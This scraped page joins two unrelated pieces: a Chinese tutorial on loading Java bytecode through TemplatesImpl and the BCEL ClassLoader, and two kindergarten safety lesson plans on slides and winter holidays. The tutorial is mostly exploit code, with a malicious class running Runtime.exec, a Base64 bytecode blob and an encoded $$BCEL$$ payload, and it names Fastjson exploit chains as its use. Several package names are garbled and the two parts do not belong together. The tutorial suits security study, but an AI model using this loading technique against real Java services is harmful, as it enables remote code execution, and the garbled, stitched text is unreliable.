package org.gk0d;import com.sun.apache.xalanternal.xsltc.trax.TemplatesImpl;import com.sun.apache.xalanternal.xsltc.trax.TransformerFactoryImpl;import javang.reflect.Field;import java.util.Base64;public class a { public static void setFieldValue(Object obj, String fieldName, Object Value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, Value); } public static void main(String[] args) throws Exception {// source: bytecodes/HelloTemplateImpl.java byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA" + "CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP" + "TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0" + "aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCm" + "KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y" + "Zy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw" + "YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp" + "bml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb" + "DAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwB" + "AEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj" + "dFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z" + "bGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry" + "ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQKExqYXZhL2xhbmcvU3RyaW5n" + "OylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA" + "AAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwA" + "AQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwA" + "DwABABAAAAACABE="); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{code}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); obj.newTransformer(); }}

利用BCEL ClassLoader加载字节码#

关于BCEL先看看p神的:/d/file/gt/2023-09/wpyj4ogbkqq.html Xalan所使用,而Apache Xalan又是Java内部对于JAXP的实现,所以BCEL也被包含在了JDK的原生库中。

BCEL属于Apache Commons项目下的一个子项目,全名应Apache Commons BCE,它提供了一系列用于分析、修改和创建Java Class文件的API,从库功能来看,使用性远不及其他库,但被Apache Xalan所使用,而Apache Xalan又是Java内部对于JAXP的实现,所以BCEL也被包含在了JDK的原生库中位com.sun.apache.bcel。

BCEL包中有com.sun.apache.bcelternal.util.ClassLoader类,它是一个ClassLoader,但重写了Java内置的ClassLoader#LoadClass方法

在LoadClass中,会判断类名是否是$$BCEL$$开头,如果是的话,将会对这个字符串进行decode来看一下decode的具体算法:

private static class JavaWriter extends FilterWriter { public JavaWriter(Writer out) { super(out); } public void write(int b) throws IOException { if(isJavaIdentifierPart((char)b) && (b != ESCAPE_CHAR)) { out.write(b); } else { out.write(ESCAPE_CHAR); // Escape character // Special escape if(b >= 0 && b < FREE_CHARS) { out.write(CHAR_MAP[b]); } else { // Normal escape char[] tmp = Integer.toHexString(b).toCharArray(); if(tmp.length == 1) { out.write('0'); out.write(tmp[0]); } else { out.write(tmp[0]); out.write(tmp[1]); } } } } public void write(char[] cbuf, int off, int len) throws IOException { for(int i=0; i < len; i++) write(cbuf[off + i]); } public void write(String str, int off, int len) throws IOException { write(str.toCharArray(), off, len); } }

可以理解为是传统字节码的16进制编码,然后将 \ 替换为 $ ,默认还会在最外层加上 GZip 压缩

边写恶意类

package org.gk0d;import java.io.IOException;public class calc{ static { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } }}

然后通过BCEL提供的两个类Repository和utility来利用:

Repository用于将一个Java Class先转换成原生字节码(也可以直接javac编译获得);utility用于将原生字节码转换成BCEL格式的字节码

package org.gk0d;import com.sun.apache.bcelternal.Repository;import com.sun.apache.bcelternal.classfile.JavaClass;import com.sun.apache.bcelternal.classfile.Utility;public class POP { public static void main(String[] args) throws Exception{ JavaClass javaClass = Repository.lookupClass(calc.class); String code = Utility.encode(javaClass.getBytes(),true); System.out.println(code); }}

最后用BCEL ClassLoader加载这串特殊的字节码,并执行里面的代码:

package org.gk0d;import com.sun.apache.bcelternal.Repository;import com.sun.apache.bcelternal.classfile.JavaClass;import com.sun.apache.bcelternal.classfile.Utility;import com.sun.apache.bcelternal.util.ClassLoader;public class Test { public static void main(String[] args) throws Exception{ c(); } private static void b() throws Exception{ JavaClass javaClass = Repository.lookupClass(a.class); String code = Utility.encode(javaClass.getBytes(),true); System.out.println(code); } private static void c() throws Exception { new ClassLoader().loadClass("$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$c2P$Q$3d$X$K$z$b5$I$82$f8$7e$3f$c1$85l$dci$dc$YM$8c$f5$R$n$ba$be$5co$f0$o$b6$a4$5c$M$7f$e4$da$8d$g$X$7e$80$le$9c$5e$VM$b4Ig$3a$e7$cc93$93$be$bd$bf$bc$C$d8$c2$9a$L$H$e3$$$s0$e9$60$w$ce$d36f$5c$a40kc$ce$c6$3cCzG$FJ$ef2$q$cb$95$L$Gk$_$bc$92$M9_$F$f2$a4w$db$90Q$9d7$da$84$U$fcP$f0$f6$F$8fT$5c$7f$81$96$beV$5d$92$fa$7c$9b$c1$d9$R$ed$_$_F$5c$c9o$f1$3b$5eUa$f5$f0t$bf$_dG$ab0$a0$b6lMsqs$cc$3b$c6$83$d6apka$_$S$f2$40$c5$9ei$be$Z$L$3dd$e0$daX$f0$b0$88$r2$a7$e1bS$f6$a5$87e$ac0$U$ff1$f7$b0$K$97$86s$86$bc$a1$db$3chVO$h$z$v4$c3$c8$Pt$de$L$b4$ba$a5YnS$eaAQ$wW$fc$3f$3d$b4$b0ES$F$c3z$f9$X$5b$d3$91$K$9a$db$bf$FgQ$ud$b7K$82$5c$87Hm$ce$acG$5cH$ba$c0$a6$ff$Q$3f$J$b0$f8$$$8aCTU$v3$ca$a9$8d$t$b0$HC$7b$U$d3$GL$oK$d1$fbl$c00r$94$j$e4$Hbn$cc$80$c23$S$85$e4$p$ac$cb$7b8G$h$8fH$3f$Y$3cC$da$U$b9$c4$8ec$f4$V$fbf$Mj$93$b3$83$Rr$fa$9e$90$85Eu$81$aa$o$bd6$S$be$8dQ$8b$88$92Yj$ec$D$e5$e5$f0$NQ$C$A$A").newInstance(); }}

代码进行简化后如下

package org.gk0d;import com.sun.apache.bcelternal.Repository;import com.sun.apache.bcelternal.classfile.JavaClass;import com.sun.apache.bcelternal.classfile.Utility;import com.sun.apache.bcelternal.util.ClassLoader;public class Test { public static void main(String[] args) throws Exception { JavaClass javaClass = Repository.lookupClass(calc.class); String code = Utility.encode(javaClass.getBytes(), true); System.out.println(code); new ClassLoader().loadClass("$$BCEL$$" + code).newInstance(); }}

总结

BCEL ClassLoader类和前面的TemplatesImpl 都出自于同一个第三方库,Apache Xalan,在Fastjson等漏洞的利用链构造时都有被用到还有一个重要的利用条件就是在Java 8u251的更新中,这个ClassLoader被移除了,所以之后只能在这个之前的版本才可以利用。

屈老师中班安全教案《安安全全玩滑梯》

活动目标:

  1.幼儿学会用正确的方法玩滑梯。

  2.帮助幼儿懂得用不正确方法玩滑梯易造成伤害。

活动准备:

  1.小兔、小狗胸饰若干,照相机。

  2.编排情境表演。

活动过程:

  1. 导入活动,激发兴趣。兔妈妈:"今天天气真好,小兔,妈妈带你们出去玩。看,那是谁?(小狗)他们在干什么?(滑滑梯)"

  2.观看情境表演,向幼儿介绍滑梯及其玩法。

  (1)狗妈妈是怎样教小狗玩滑梯的?!.来源:屈老.师教案网!为什么要这样玩?

  (2)人多的时候应该怎样玩滑梯?小结:玩滑梯人多时要先排好队,一个跟着一个,不拥挤推拉。从楼梯这边上去两手扶好了,一层层地往上爬。眼睛看好楼梯,爬到顶,坐稳后,两手扶着滑梯两边,两条腿并拢,再滑下来。如果不这样好好玩滑梯,做不正确的动作,就会发生危险。

  3.幼儿练习玩滑梯,教师指导幼儿按正确的方法玩滑梯。

  (1)兔妈妈:"刚才我们看了小狗滑滑梯,你们会不会象它们那样玩?"

  (2)兔妈妈:"孩子们,你们想不想再玩一遍?这次,你们玩的时候,妈妈给你们每个拍张照,看谁滑的好。"(及时纠正幼儿不正确的动作,鼓励幼儿用正确的方法玩滑梯。)

活动建议:

  1.此活动宜安排在开学初进行,让幼儿一开始就掌握玩滑梯的正确方法。

  2.日常生活中幼儿玩大型运动器具时一定要有成人保护,引导幼儿正确地玩各种运动器械,逐步在活动中培养幼儿的安全意识。

活动区活动:

  1.用在此活动中拍摄的幼儿相片布置成"我会玩游戏"角,对所用正确方法玩大型运动器械的幼儿的在其相片周围贴五角星。

  2.引导幼儿在建筑角建构滑滑梯等,教小娃娃用正确的方法玩运动器械

屈老师大班安全教案《安安全全过新年》含PPT课件

活动目标:

  1、让幼儿了解寒假中应注意的安全,增强幼儿的自我保护意识。

  2、通过讨论,教育幼儿愉快、合理地过寒假。

活动准备:

  PPT课件、《寒假安全知识调查表》。

查看课件:大班安全课件《安安全全过新年》PPT课件下载地址:kj.qulaoshi/ppt/2856.html

活动过程:

  一、谈话与讨论:

  1、小朋友们谁来说一说在幼儿园里怎样做才能不发生危险

  幼儿自由讨论,根据平时已有的经验和我们平时的嘱咐回答。

  教师小结:在教室里不能乱跑因为有桌子和椅子,到处有尖尖角,在洗手时要排队防止地面有水摔倒,不能推挤。户外活动时,滑滑梯不能倒着滑要扶好扶手,在楼上走廊玩玩具时不能扔到楼下去,发生危险。使用小剪刀不能对着小朋友等等。

  2、丰富知识经验,激发幼儿过寒假的兴趣。

  (1)小朋友过几天小朋友就要离开幼儿园了,你们知道为什么?(知道放寒假了)

  (2)因为过年了,小朋友要放寒假,在家里一个月的时间,小朋友们高兴吗?(高兴)

  (3)怎样开开心心的过新年呢?(引导幼儿只有注意安全才能开心过年。)

  二、和幼儿一起讨论怎样安全、合理地过寒假,培养幼儿完整的表达能力和想象、判断能力。

  1、教师引导幼儿:“寒假里你们想做些什么事情呢?”(堆雪人,玩鞭炮,走亲戚,景点旅游等)

  2、可是在寒假里,有些事情是可以做的,但是有些事情是不能做的?引导幼儿说出有关安全知识的内容。

  请幼儿观看图片说一说(看图片:放鞭炮、陌生敲门、在公路上玩耍、溺水等一些图片。)

  (1)讨论在家的安全激发幼儿对家中危险的重视,初步对家中的危险进行了解:自己在家有陌生人来敲门怎么办?在家里能不能自己插电源?能不能玩火、放鞭炮?能不能在窗台上玩耍?……

  (2)讨论外出时的安全除了家中的危险,我们身边和生活中还有许多危险存在着,你知道的危险有哪些?(不能独自去公路上和水边玩耍,在路上遇到陌生人给的东西不能要,在商场里大人走散应该怎样做。)

  3、寒假里要注意保暖,预防感冒,不要到户外长时间地玩,要保护自己不被冻伤。

  4、独自在家时如果陌生人敲门不要给他开门,不能攀爬阳台、门窗或其他高处。

  5、如果和大人逛商场走散了,要找超市的阿姨。

  6、不能独自去水上滑冰,不能在马路上玩耍。

  7、知道三个电话号码:110、120、119。

  8、在家玩电脑、看电视的时间不要太长,会使眼睛过度疲劳。

延伸活动:

  发给每个幼儿《寒假安全知识调查表》,要求家长在假期中合理安排幼儿的一日活动,丰富孩子的生活内容,并做好监督护理工作,填好调查表,让孩子渡过一个充实、快乐而有意义的寒假。

热门推荐